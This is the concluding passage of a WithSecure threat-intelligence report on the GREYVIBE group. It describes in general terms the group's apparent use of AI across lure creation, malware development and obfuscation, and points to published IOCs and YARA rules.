particularly notable. GREYVIBE appears to leverage Al not merely for isolated tasks, but
rather systematically across multiple phases of its operations, including lure creation,
website development, malware and loader development, backend implementation,
obfuscation, and post-compromise scripting and tooling. This likely enables the group to
compensate for technical capability gaps as well as accelerate development cycles and
operational tempo. The threat actor may have also leveraged LLMs to create a largely new
operational profile that contains little to no technical backlinks to their prior activity, such as
reused malware, distinctive code overlaps, or persistent tooling patterns. This may reflect
a deliberate effort by the threat actor to make historical attribution more challenging.

Given GREYVIBE’s extensive use of these technologies, WithSecure expects the group’s
tradecraft to continue evolving and diversifying over time, likely further increasing the
complexity of continuous detection, tracking, and attribution.

The author of this report would like to thank Bert Steppe for his contributions to the
investigation.

A full list of Indicators of Compromise (IOCs) and relevant YARA rules can be found in
WithSecure’s GitHub
[https://github.com/WithSecurelLabs/iocs/tree/master/ GREYVIBE/].
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